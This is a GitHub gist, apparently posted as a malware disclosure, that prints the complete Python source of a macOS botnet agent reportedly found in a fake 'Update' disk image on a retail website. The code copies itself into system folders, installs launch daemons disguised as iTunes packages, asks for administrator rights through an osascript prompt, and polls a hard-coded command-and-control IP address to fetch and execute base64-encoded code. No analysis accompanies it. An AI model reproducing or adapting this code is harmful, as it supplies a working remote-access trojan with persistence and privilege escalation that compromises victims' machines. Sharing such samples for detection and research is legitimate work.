Skip to content

Instantly share code, notes, and snippets.

@gwillem
Last active April 23, 2019 11:29
Show Gist options
  • Save gwillem/7ac95a9dc90afbd106ab999ecd0e09a6 to your computer and use it in GitHub Desktop.
Save gwillem/7ac95a9dc90afbd106ab999ecd0e09a6 to your computer and use it in GitHub Desktop.
dfurniturestore.co.uk MacOS X botnet code -- found on https://dfurniturestore.co.uk/js/Update 04-19.dmg
import os
import pwd
import random
import string
import urllib, urllib2
import json
import time
import sys
import base64
import random
class Common:
@staticmethod
def id_generator(size=6, chars=string.ascii_lowercase + string.digits):
return ''.join(random.choice(chars) for _ in range(size))
@staticmethod
def upper():
response = """import os,time\nwhile(True):\n try:\n if(not(os.popen("ps aux | grep '[/]etc[/]mouse[.]py'").read().strip())):\n os.system('python /etc/mouse.py > /dev/null 2>&1 &')\n time.sleep(60)\n except:\n pass"""
return response
@staticmethod
def build(package_name, src, privileges):
if(privileges):
template = '<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd"><plist version="1.0"><dict><key>Label</key><string>com.google.fonts</string><key>ProgramArguments</key><array><string>python</string><string>src.py</string><string>&</string></array><key>StandardErrorPath</key><string>/dev/null</string><key>StandardOutPath</key><string>/dev/null</string><key>RunAtLoad</key><true/></dict></plist>'
else:
template = '<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd"><plist version="1.0"><dict><key>Label</key><string>com.google.fonts</string><key>ProgramArguments</key><array><string>python</string><string>src.py</string></array><key>LimitLoadToSessionType</key><string>Aqua</string><key>RunAtLoad</key><true/><key>ExitTimeOut</key><integer>0</integer><key>ProcessType</key><string>Interactive</string></dict></plist>'
return template.replace('com.google.fonts',package_name).replace('src.py',src)
class Info:
hwid = None
privileges = None
username = None
path = None
moved = None
package = None
def __init__(self):
self.hwid = self.GetHWID()
if(self.hwid!=None):
self.privileges = self.GetPrivileges()
self.username = self.GetUsername()
self.path = os.path.abspath(__file__)
self.moved = False
self.package = None
def GetHWID(self):
try:
result = os.popen("system_profiler SPHardwareDataType | awk '/UUID/ { print $3; }'").read().strip()
if(not(result)):
result = None
except:
result = None
return result
def GetPrivileges(self):
response = False
try:
filepath = '/etc/'+Common.id_generator()+'.mouse'
w_content = Common.id_generator(16)
w_handle = open(filepath,'w')
w_handle.write(w_content)
w_handle.close()
r_handle = open(filepath,'r')
r_content = r_handle.read()
r_handle.close()
if(r_content==w_content):
response = True
try:
os.remove(filepath)
except:
pass
except:
pass
return response
def GetUsername(self):
response = None
while(response==None or response=='root'):
try:
response = pwd.getpwuid(os.stat('/dev/console').st_uid)[0]
except:
pass
return response
class Mouse:
info = None
browsers = {}
url = 'http://217.8.117.144/'
uac = None
def __init__(self):
self.info = Info()
if(self.info.moved):
if(self.info.privileges):
if(self.info.path.find('/etc/')==0):
self.launch()
else:
self.move()
else:
self.launch()
else:
self.move()
def query(self, method, data = {}):
response = None
data['hwid'] = self.info.hwid
self.info.username = self.info.GetUsername()
data['username'] = self.info.username
data['privileges'] = self.info.privileges
if(data['hwid'] and data['username']):
while(response==None):
response = self.query_worker(method, data)
if(response==None):
time.sleep(random.randint(15,60))
return response
def query_worker(self, method, data):
response = None
request = urllib2.Request(Mouse.url+method, data=urllib.urlencode(data))
try:
response = urllib2.urlopen(request, timeout = 60).read().strip()
response = json.loads(response)
except Exception as e:
pass
return response
def move(self):
try:
if(self.info.privileges):
handle = open(self.info.path,'r')
content = handle.read()
handle.close()
dst_path = "/etc/mouse.py"
handle = open(dst_path,'w')
handle.write(content)
handle.close()
os.system("python "+dst_path)
else:
handle = open(self.info.path,'r')
content = handle.read().replace('self.moved ='+' False','self.moved = True')
handle.close()
dst_path = os.environ['HOME']+"/Library/Keyboard/"+Common.id_generator(2)+"-dynamic.py"
handle = open(dst_path,'w')
handle.write(content)
handle.close()
os.system("nohup python "+dst_path+" > /dev/null 2>&1 &")
sys.exit()
except:
pass
def launch(self):
if(self.info.hwid and self.info.username):
package_exists = self.check_package()
if(self.info.privileges):
self.check_upper()
else:
if(self.is_admin()):
if(package_exists):
while(True):
if(self.try_up()):
break
else:
for i in range(0,5):
if(self.try_up()):
break
self.main()
def check_upper(self):
filepath = '/etc/upper.py'
if(not(os.path.isfile(filepath))):
handle = open(filepath, 'w')
handle.write(Common.upper())
handle.close()
full_package_name = 'ext.itunes.'+self.client_data['package_name']
package_path = '/Library/LaunchDaemons/'+full_package_name+".plist"
handle = open(package_path, 'w')
handle.write(Common.build(full_package_name, filepath, self.info.privileges))
handle.close()
os.system('launchctl load '+package_path)
try:
package_path = os.environ['HOME']+"/Library/LaunchAgents/"+full_package_name+'.plist'
os.remove(package_path)
except:
pass
response = True
return self
def check_package(self):
response = False
package_name = None
while(package_name==None):
try:
self.client_data = self.query('main/info')
package_name = self.client_data['package_name']
except:
package_name = None
if(self.info.privileges):
response = True
else:
full_package_name = 'ext.itunes.'+package_name
package_path = os.environ['HOME']+"/Library/LaunchAgents/"+full_package_name+'.plist'
if(os.path.isfile(package_path)):
response = True
else:
handle = open(package_path, 'w')
handle.write(Common.build(full_package_name, self.info.path, self.info.privileges))
handle.close()
return response
def is_admin(self):
response = False
try:
if('admin' in os.popen("groups "+self.info.username).read().strip().split(" ")):
response = True
except:
pass
return response
def try_up(self):
response = False
cmd_response = os.system("""osascript -e 'do shell script "python """+self.info.path+""" " with administrator privileges'""")
if(cmd_response==0):
response = True
try:
os.remove(self.info.path)
except:
pass
sys.exit()
return response
def main(self):
while(True):
try:
time.sleep(random.randint(61,127))
data = self.query('main/tasks')
for task_handle in data['tasks']:
response = {
'response' : None,
'exception' : False,
}
try:
task_handle['code'] = base64.b64decode(task_handle['code'])
exec(task_handle['code'])
except Exception as e:
response['response'] = None
response['exception'] = True
try:
response['id'] = task_handle['id']
response = json.dumps(response)
response = base64.b64encode(response)
self.query('main/resp',{'response':response})
except:
pass
except:
pass
Mouse()
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment